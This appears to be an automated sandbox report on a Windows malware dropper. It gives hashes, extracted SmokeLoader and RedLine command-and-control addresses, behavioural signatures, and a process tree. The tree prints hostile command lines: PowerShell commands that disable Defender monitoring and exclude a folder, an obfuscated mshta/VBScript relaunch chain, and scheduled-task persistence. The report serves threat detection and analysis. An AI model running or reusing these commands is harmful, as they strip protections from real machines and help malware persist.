Analysis
-
max time kernel
9s -
max time network
154s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
20/11/2021, 04:36
Static task
static1
Behavioral task
behavioral1
Sample
a0183ddc59605205f37af101460de5c2.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
a0183ddc59605205f37af101460de5c2.exe
Resource
win10-en-20211014
General
-
Target
a0183ddc59605205f37af101460de5c2.exe
-
Size
10.3MB
-
MD5
a0183ddc59605205f37af101460de5c2
-
SHA1
f990eef90be40471bde64df1acddeda15e86947c
-
SHA256
781824a03b746fbeedba42ceba949da4f93388bfd3c7eae4ab560417fd128a40
-
SHA512
ed06b26da017d1595811698e313b351a16d11556078a2f81d73169dd92b75e6fcbc3d389458b4fb22db1a1f0ce42558e9b20168ee78fb2eeaa5c77380c158d65
Malware Config
Extracted
socelars
http://www.gianninidesign.com/
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://membro.at/upload/
http://jeevanpunetha.com/upload/
http://misipu.cn/upload/
http://zavodooo.ru/upload/
http://targiko.ru/upload/
http://vues3d.com/upload/
Extracted
redline
media17plus
91.121.67.60:51630
Extracted
redline
user2121
135.181.129.119:4805
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5096 4500 rundll32.exe 121 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
resource yara_rule behavioral2/memory/2596-291-0x0000000000418F06-mapping.dmp family_redline behavioral2/memory/2040-290-0x0000000000418F02-mapping.dmp family_redline behavioral2/memory/2040-289-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral2/memory/2596-288-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral2/files/0x000400000001aba4-147.dat family_socelars behavioral2/files/0x000400000001aba4-177.dat family_socelars -
resource yara_rule behavioral2/files/0x000600000001ab8c-120.dat aspack_v212_v242 behavioral2/files/0x000600000001ab8c-121.dat aspack_v212_v242 behavioral2/files/0x000500000001ab8d-125.dat aspack_v212_v242 behavioral2/files/0x000500000001ab8d-119.dat aspack_v212_v242 behavioral2/files/0x000400000001ab96-126.dat aspack_v212_v242 behavioral2/files/0x000400000001ab96-127.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 18 IoCs
pid Process 3680 setup_install.exe 3196 Wed14e8848dc0a8.exe 716 Wed1475daf8d83eb4ee.exe 1284 Wed14df9919150a4ecf2.exe 2452 Wed14773c6ddc763638.exe 1160 Wed14ee130a604e2a.exe 1044 Wed143f08e2d21bc4.exe 912 Wed14686693dc972e.exe 304 Wed146cd9abbf86.exe 3396 Wed14a61b7346e6.exe 1620 Wed148985fecf.exe 1548 Wed148d25325fe1a53.exe 3944 Wed14913b204c27f2e9.exe 1948 Wed14176d754ef7d838.exe 952 Wed146cd9abbf86.exe 3088 Wed1475daf8d83eb4ee.exe 3496 Wed14773c6ddc763638.tmp 3184 Wed14a61b7346e6.tmp -
Loads dropped DLL 6 IoCs
pid Process 3680 setup_install.exe 3680 setup_install.exe 3680 setup_install.exe 3680 setup_install.exe 3680 setup_install.exe 3496 Wed14773c6ddc763638.tmp -
resource yara_rule behavioral2/files/0x0005000000015286-311.dat themida behavioral2/files/0x00040000000152e0-322.dat themida behavioral2/files/0x00040000000152e0-321.dat themida behavioral2/files/0x0005000000015286-310.dat themida behavioral2/files/0x000600000001abc9-334.dat themida -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 29 ip-api.com 44 ipinfo.io 45 ipinfo.io 195 ipinfo.io 196 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 304 set thread context of 952 304 Wed146cd9abbf86.exe 100 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
pid pid_target Process procid_target 4008 4544 WerFault.exe 146 4276 2108 WerFault.exe 148 3144 4332 WerFault.exe 137 4092 2780 WerFault.exe 162 3036 4332 WerFault.exe 137 5356 4332 WerFault.exe 137 5788 4332 WerFault.exe 137 4284 4332 WerFault.exe 137 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed148985fecf.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed148985fecf.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed148985fecf.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6116 schtasks.exe 3460 schtasks.exe -
Kills process with taskkill 4 IoCs
pid Process 648 taskkill.exe 956 taskkill.exe 4776 taskkill.exe 5340 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1620 Wed148985fecf.exe 1620 Wed148985fecf.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
description pid Process Token: SeCreateTokenPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeAssignPrimaryTokenPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeLockMemoryPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeIncreaseQuotaPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeMachineAccountPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeTcbPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeSecurityPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeTakeOwnershipPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeLoadDriverPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeSystemProfilePrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeSystemtimePrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeProfSingleProcessPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeIncBasePriorityPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeCreatePagefilePrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeCreatePermanentPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeBackupPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeRestorePrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeShutdownPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeDebugPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeAuditPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeSystemEnvironmentPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeChangeNotifyPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeRemoteShutdownPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeUndockPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeSyncAgentPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeEnableDelegationPrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeManageVolumePrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeImpersonatePrivilege 1284 Wed14df9919150a4ecf2.exe Token: SeCreateGlobalPrivilege 1284 Wed14df9919150a4ecf2.exe Token: 31 1284 Wed14df9919150a4ecf2.exe Token: 32 1284 Wed14df9919150a4ecf2.exe Token: 33 1284 Wed14df9919150a4ecf2.exe Token: 34 1284 Wed14df9919150a4ecf2.exe Token: 35 1284 Wed14df9919150a4ecf2.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2648 wrote to memory of 3680 2648 a0183ddc59605205f37af101460de5c2.exe 68 PID 2648 wrote to memory of 3680 2648 a0183ddc59605205f37af101460de5c2.exe 68 PID 2648 wrote to memory of 3680 2648 a0183ddc59605205f37af101460de5c2.exe 68 PID 3680 wrote to memory of 2304 3680 setup_install.exe 71 PID 3680 wrote to memory of 2304 3680 setup_install.exe 71 PID 3680 wrote to memory of 2304 3680 setup_install.exe 71 PID 3680 wrote to memory of 2804 3680 setup_install.exe 72 PID 3680 wrote to memory of 2804 3680 setup_install.exe 72 PID 3680 wrote to memory of 2804 3680 setup_install.exe 72 PID 3680 wrote to memory of 508 3680 setup_install.exe 73 PID 3680 wrote to memory of 508 3680 setup_install.exe 73 PID 3680 wrote to memory of 508 3680 setup_install.exe 73 PID 3680 wrote to memory of 668 3680 setup_install.exe 74 PID 3680 wrote to memory of 668 3680 setup_install.exe 74 PID 3680 wrote to memory of 668 3680 setup_install.exe 74 PID 3680 wrote to memory of 3732 3680 setup_install.exe 75 PID 3680 wrote to memory of 3732 3680 setup_install.exe 75 PID 3680 wrote to memory of 3732 3680 setup_install.exe 75 PID 3680 wrote to memory of 3840 3680 setup_install.exe 76 PID 3680 wrote to memory of 3840 3680 setup_install.exe 76 PID 3680 wrote to memory of 3840 3680 setup_install.exe 76 PID 3680 wrote to memory of 1576 3680 setup_install.exe 91 PID 3680 wrote to memory of 1576 3680 setup_install.exe 91 PID 3680 wrote to memory of 1576 3680 setup_install.exe 91 PID 3680 wrote to memory of 1124 3680 setup_install.exe 90 PID 3680 wrote to memory of 1124 3680 setup_install.exe 90 PID 3680 wrote to memory of 1124 3680 setup_install.exe 90 PID 3680 wrote to memory of 4080 3680 setup_install.exe 77 PID 3680 wrote to memory of 4080 3680 setup_install.exe 77 PID 3680 wrote to memory of 4080 3680 setup_install.exe 77 PID 3680 wrote to memory of 3016 3680 setup_install.exe 78 PID 3680 wrote to memory of 3016 3680 setup_install.exe 78 PID 3680 wrote to memory of 3016 3680 setup_install.exe 78 PID 3680 wrote to memory of 3424 3680 setup_install.exe 89 PID 3680 wrote to memory of 3424 3680 setup_install.exe 89 PID 3680 wrote to memory of 3424 3680 setup_install.exe 89 PID 3680 wrote to memory of 896 3680 setup_install.exe 79 PID 3680 wrote to memory of 896 3680 setup_install.exe 79 PID 3680 wrote to memory of 896 3680 setup_install.exe 79 PID 3680 wrote to memory of 1468 3680 setup_install.exe 80 PID 3680 wrote to memory of 1468 3680 setup_install.exe 80 PID 3680 wrote to memory of 1468 3680 setup_install.exe 80 PID 3680 wrote to memory of 2832 3680 setup_install.exe 81 PID 3680 wrote to memory of 2832 3680 setup_install.exe 81 PID 3680 wrote to memory of 2832 3680 setup_install.exe 81 PID 3680 wrote to memory of 2672 3680 setup_install.exe 88 PID 3680 wrote to memory of 2672 3680 setup_install.exe 88 PID 3680 wrote to memory of 2672 3680 setup_install.exe 88 PID 3680 wrote to memory of 592 3680 setup_install.exe 82 PID 3680 wrote to memory of 592 3680 setup_install.exe 82 PID 3680 wrote to memory of 592 3680 setup_install.exe 82 PID 668 wrote to memory of 3196 668 cmd.exe 87 PID 668 wrote to memory of 3196 668 cmd.exe 87 PID 668 wrote to memory of 3196 668 cmd.exe 87 PID 3732 wrote to memory of 1284 3732 cmd.exe 86 PID 3732 wrote to memory of 1284 3732 cmd.exe 86 PID 3732 wrote to memory of 1284 3732 cmd.exe 86 PID 508 wrote to memory of 716 508 cmd.exe 85 PID 508 wrote to memory of 716 508 cmd.exe 85 PID 508 wrote to memory of 716 508 cmd.exe 85 PID 2304 wrote to memory of 1184 2304 cmd.exe 84 PID 2304 wrote to memory of 1184 2304 cmd.exe 84 PID 2304 wrote to memory of 1184 2304 cmd.exe 84 PID 2804 wrote to memory of 396 2804 cmd.exe 83
Processes
-
C:\Users\Admin\AppData\Local\Temp\a0183ddc59605205f37af101460de5c2.exe"C:\Users\Admin\AppData\Local\Temp\a0183ddc59605205f37af101460de5c2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\setup_install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable3⤵
- Suspicious use of WriteProcessMemory
PID:2304 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵PID:1184
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"3⤵
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:396
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed1475daf8d83eb4ee.exe3⤵PID:508
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed1475daf8d83eb4ee.exeWed1475daf8d83eb4ee.exe4⤵
- Executes dropped EXE
PID:716 -
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed1475daf8d83eb4ee.exe"C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed1475daf8d83eb4ee.exe" -u5⤵
- Executes dropped EXE
PID:3088
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14e8848dc0a8.exe3⤵
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14e8848dc0a8.exeWed14e8848dc0a8.exe4⤵
- Executes dropped EXE
PID:3196 -
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14e8848dc0a8.exeC:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14e8848dc0a8.exe5⤵PID:2040
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14df9919150a4ecf2.exe3⤵
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14df9919150a4ecf2.exeWed14df9919150a4ecf2.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1284 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:1960
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:5340
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed143f08e2d21bc4.exe3⤵PID:3840
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed143f08e2d21bc4.exeWed143f08e2d21bc4.exe4⤵
- Executes dropped EXE
PID:1044
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed148985fecf.exe3⤵PID:4080
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed148985fecf.exeWed148985fecf.exe4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:1620
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14ee130a604e2a.exe3⤵PID:3016
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14ee130a604e2a.exeWed14ee130a604e2a.exe4⤵
- Executes dropped EXE
PID:1160 -
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14ee130a604e2a.exeC:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14ee130a604e2a.exe5⤵PID:2596
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14686693dc972e.exe3⤵PID:896
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14686693dc972e.exeWed14686693dc972e.exe4⤵
- Executes dropped EXE
PID:912 -
C:\Users\Admin\AppData\Roaming\5998932.exe"C:\Users\Admin\AppData\Roaming\5998932.exe"5⤵PID:3620
-
-
C:\Users\Admin\AppData\Roaming\930214.exe"C:\Users\Admin\AppData\Roaming\930214.exe"5⤵PID:4208
-
-
C:\Users\Admin\AppData\Roaming\7949761.exe"C:\Users\Admin\AppData\Roaming\7949761.exe"5⤵PID:4324
-
-
C:\Users\Admin\AppData\Roaming\529118.exe"C:\Users\Admin\AppData\Roaming\529118.exe"5⤵PID:4624
-
-
C:\Users\Admin\AppData\Roaming\4979591.exe"C:\Users\Admin\AppData\Roaming\4979591.exe"5⤵PID:4680
-
C:\Users\Admin\AppData\Roaming\1335983.exe"C:\Users\Admin\AppData\Roaming\1335983.exe"6⤵PID:5956
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: CLOSe ( CREateoBjECt ("WscrIPT.ShELl" ). RuN("cmd /R COpy /Y ""C:\Users\Admin\AppData\Roaming\1335983.exe"" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF """" == """" for %v iN ( ""C:\Users\Admin\AppData\Roaming\1335983.exe"" ) do taskkill -IM ""%~NXv"" /F " , 0, TRuE) )7⤵PID:5592
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COpy /Y "C:\Users\Admin\AppData\Roaming\1335983.exe" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF "" == "" for %v iN ("C:\Users\Admin\AppData\Roaming\1335983.exe" ) do taskkill -IM "%~NXv" /F8⤵PID:5948
-
C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exEUvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E9⤵PID:4684
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: CLOSe ( CREateoBjECt ("WscrIPT.ShELl" ). RuN("cmd /R COpy /Y ""C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE"" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF ""-pkJzup02N2uLj2E "" == """" for %v iN ( ""C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE"" ) do taskkill -IM ""%~NXv"" /F " , 0, TRuE) )10⤵PID:5388
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R COpy /Y "C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE" UvBEEXS0j9TB14.exE &&start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF "-pkJzup02N2uLj2E " == "" for %v iN ("C:\Users\Admin\AppData\Local\Temp\UvBEEXS0j9TB14.exE" ) do taskkill -IM "%~NXv" /F11⤵PID:3844
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "1335983.exe" /F9⤵
- Kills process with taskkill
PID:648
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\5239752.exe"C:\Users\Admin\AppData\Roaming\5239752.exe"6⤵PID:2652
-
-
-
C:\Users\Admin\AppData\Roaming\1627246.exe"C:\Users\Admin\AppData\Roaming\1627246.exe"5⤵PID:4724
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14074314ea334476.exe3⤵PID:1468
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed146cd9abbf86.exe /mixtwo3⤵PID:2832
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed146cd9abbf86.exeWed146cd9abbf86.exe /mixtwo4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:304
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14a61b7346e6.exe3⤵PID:592
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14a61b7346e6.exeWed14a61b7346e6.exe4⤵
- Executes dropped EXE
PID:3396 -
C:\Users\Admin\AppData\Local\Temp\is-BOCTA.tmp\Wed14a61b7346e6.tmp"C:\Users\Admin\AppData\Local\Temp\is-BOCTA.tmp\Wed14a61b7346e6.tmp" /SL5="$70048,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14a61b7346e6.exe"5⤵
- Executes dropped EXE
PID:3184
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed148d25325fe1a53.exe3⤵PID:2672
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed148d25325fe1a53.exeWed148d25325fe1a53.exe4⤵
- Executes dropped EXE
PID:1548
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14913b204c27f2e9.exe3⤵PID:3424
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14913b204c27f2e9.exeWed14913b204c27f2e9.exe4⤵
- Executes dropped EXE
PID:3944
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed14176d754ef7d838.exe3⤵PID:1124
-
C:\Users\Admin\AppData\Local\Temp\7zS85A4D395\Wed14176d754ef7d838.exeWed14176d754ef7d838.exe4⤵
- Executes dropped EXE
PID:1948 -
C:\Users\Admin\Pictures\Adobe Films\VMjcw_cGphxOuYnVpOAIIxXk.exe"C:\Users\Admin\Pictures\Adobe Films\VMjcw_cGphxOuYnVpOAIIxXk.exe"5⤵PID:4612
-
-
C:\Users\Admin\Pictures\Adobe Films\7qruQ5IRw2lKcp4YrpiTLNu1.exe"C:\Users\Admin\Pictures\Adobe Films\7qruQ5IRw2lKcp4YrpiTLNu1.exe"5⤵PID:4312
-
-
C:\Users\Admin\Pictures\Adobe Films\0FuXd1Eiyi8z9akseNWobcFZ.exe"C:\Users\Admin\Pictures\Adobe Films\0FuXd1Eiyi8z9akseNWobcFZ.exe"5⤵PID:668
-
C:\Users\Admin\Documents\zqhYajpo6nGTwz8rD9xS7Zbv.exe"C:\Users\Admin\Documents\zqhYajpo6nGTwz8rD9xS7Zbv.exe"6⤵PID:6120
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:6116
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST6⤵
- Creates scheduled task(s)
PID:3460
-
-
-
C:\Users\Admin\Pictures\Adobe Films\TdC4t9_OUpO4hQ5WUYEViqyX.exe"C:\Users\Admin\Pictures\Adobe Films\TdC4t9_OUpO4hQ5WUYEViqyX.exe"5⤵PID:2776
-
-
C:\Users\Admin\Pictures\Adobe Films\fsVdPEq7esLMBSMGigN_EOqO.exe"C:\Users\Admin\Pictures\Adobe Films\fsVdPEq7esLMBSMGigN_EOqO.exe"5⤵PID:1316
-
C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"C:\Program Files (x86)\Company\NewProduct\rtst1039.exe"6⤵PID:4184
-
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"6⤵PID:4692
-
-
C:\Program Files (x86)\Company\NewProduct\inst2.exe"C:\Program Files (x86)\Company\NewProduct\inst2.exe"6⤵PID:692
-
-
-
C:\Users\Admin\Pictures\Adobe Films\KgmKFHOzlYlMpCSJeL9b9dZ9.exe"C:\Users\Admin\Pictures\Adobe Films\KgmKFHOzlYlMpCSJeL9b9dZ9.exe"5⤵PID:4396
-
-
C:\Users\Admin\Pictures\Adobe Films\YnIwIC98zEgMn_0925ha5gon.exe"C:\Users\Admin\Pictures\Adobe Films\YnIwIC98zEgMn_0925ha5gon.exe"5⤵PID:4332
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 6606⤵
- Program crash
PID:3144
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 6806⤵
- Program crash
PID:3036
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 6366⤵
- Program crash
PID:5356
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 6566⤵
- Program crash
PID:5788
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 11086⤵
- Program crash
PID:4284
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HP7VXBpalmc2RxxQdvCBuzTp.exe"C:\Users\Admin\Pictures\Adobe Films\HP7VXBpalmc2RxxQdvCBuzTp.exe"5⤵PID:4972
-
C:\Users\Admin\AppData\Roaming\24721.exe"C:\Users\Admin\AppData\Roaming\24721.exe"6⤵PID:5304
-
-
C:\Users\Admin\AppData\Roaming\3220693.exe"C:\Users\Admin\AppData\Roaming\3220693.exe"6⤵PID:5412
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:5276
-
-
-
C:\Users\Admin\AppData\Roaming\8985740.exe"C:\Users\Admin\AppData\Roaming\8985740.exe"6⤵PID:4216
-
-
C:\Users\Admin\AppData\Roaming\3348789.exe"C:\Users\Admin\AppData\Roaming\3348789.exe"6⤵PID:5424
-
-
C:\Users\Admin\AppData\Roaming\7015287.exe"C:\Users\Admin\AppData\Roaming\7015287.exe"6⤵PID:5772
-
-
C:\Users\Admin\AppData\Roaming\5073815.exe"C:\Users\Admin\AppData\Roaming\5073815.exe"6⤵PID:5096
-
-
-
C:\Users\Admin\Pictures\Adobe Films\MHGDuEtKwGIeW_uZGwS2cqTH.exe"C:\Users\Admin\Pictures\Adobe Films\MHGDuEtKwGIeW_uZGwS2cqTH.exe"5⤵PID:4216
-
C:\Users\Admin\Pictures\Adobe Films\MHGDuEtKwGIeW_uZGwS2cqTH.exe"C:\Users\Admin\Pictures\Adobe Films\MHGDuEtKwGIeW_uZGwS2cqTH.exe"6⤵PID:5532
-
-
-
C:\Users\Admin\Pictures\Adobe Films\OTfBGdEjIswJfp9Q3Xaq8fmG.exe"C:\Users\Admin\Pictures\Adobe Films\OTfBGdEjIswJfp9Q3Xaq8fmG.exe"5⤵PID:1340
-
-
C:\Users\Admin\Pictures\Adobe Films\SZPNqRdWwD7uaOFRBiMKxfQL.exe"C:\Users\Admin\Pictures\Adobe Films\SZPNqRdWwD7uaOFRBiMKxfQL.exe"5⤵PID:4544
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 4006⤵
- Program crash
PID:4008
-
-
-
C:\Users\Admin\Pictures\Adobe Films\HEIZkPQDokE9SlRqKt1mMGMm.exe"C:\Users\Admin\Pictures\Adobe Films\HEIZkPQDokE9SlRqKt1mMGMm.exe"5⤵PID:2108
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2108 -s 4086⤵
- Program crash
PID:4276
-
-
-
C:\Users\Admin\Pictures\Adobe Films\brKKK1nNGYv948Qk79b7ShBc.exe"C:\Users\Admin\Pictures\Adobe Films\brKKK1nNGYv948Qk79b7ShBc.exe"5⤵PID:716
-
-
C:\Users\Admin\Pictures\Adobe Films\sGFzt1MJwDL2hCUNRevA5spE.exe"C:\Users\Admin\Pictures\Adobe Films\sGFzt1MJwDL2hCUNRevA5spE.exe"5⤵PID:4584
-
-
C:\Users\Admin\Pictures\Adobe Films\yXf4r6zXxotMS9crtQdjthtw.exe"C:\Users\Admin\Pictures\Adobe Films\yXf4r6zXxotMS9crtQdjthtw.exe"5⤵PID:820
-
-
C:\Users\Admin\Pictures\Adobe Films\UgUtEvHzROKtQysv_96XmCP3.exe"C:\Users\Admin\Pictures\Adobe Films\UgUtEvHzROKtQysv_96XmCP3.exe"5⤵PID:2216
-
-
C:\Users\Admin\Pictures\Adobe Films\qkn77crH8EY3ydnU6ygHBFuk.exe"C:\Users\Admin\Pictures\Adobe Films\qkn77crH8EY3ydnU6ygHBFuk.exe"5⤵PID:2236
-
-
C:\Users\Admin\Pictures\Adobe Films\xws9SxX45C9Jq_2W6Ded4Nm_.exe"C:\Users\Admin\Pictures\Adobe Films\xws9SxX45C9Jq_2W6Ded4Nm_.exe"5⤵PID:4816
-
-
C:\Users\Admin\Pictures\Adobe Films\pKnBSxGJNIHH6KfrJ296CTBQ.exe"C:\Users\Admin\Pictures\Adobe Films\pKnBSxGJNIHH6KfrJ296CTBQ.exe"5⤵PID:4196
-
-
C:\Users\Admin\Pictures\Adobe Films\aTkYqmLxvYmX12A4wcajOF2q.exe"C:\Users\Admin\Pictures\Adobe Films\aTkYqmLxvYmX12A4wcajOF2q.exe"5⤵PID:3016
-
-
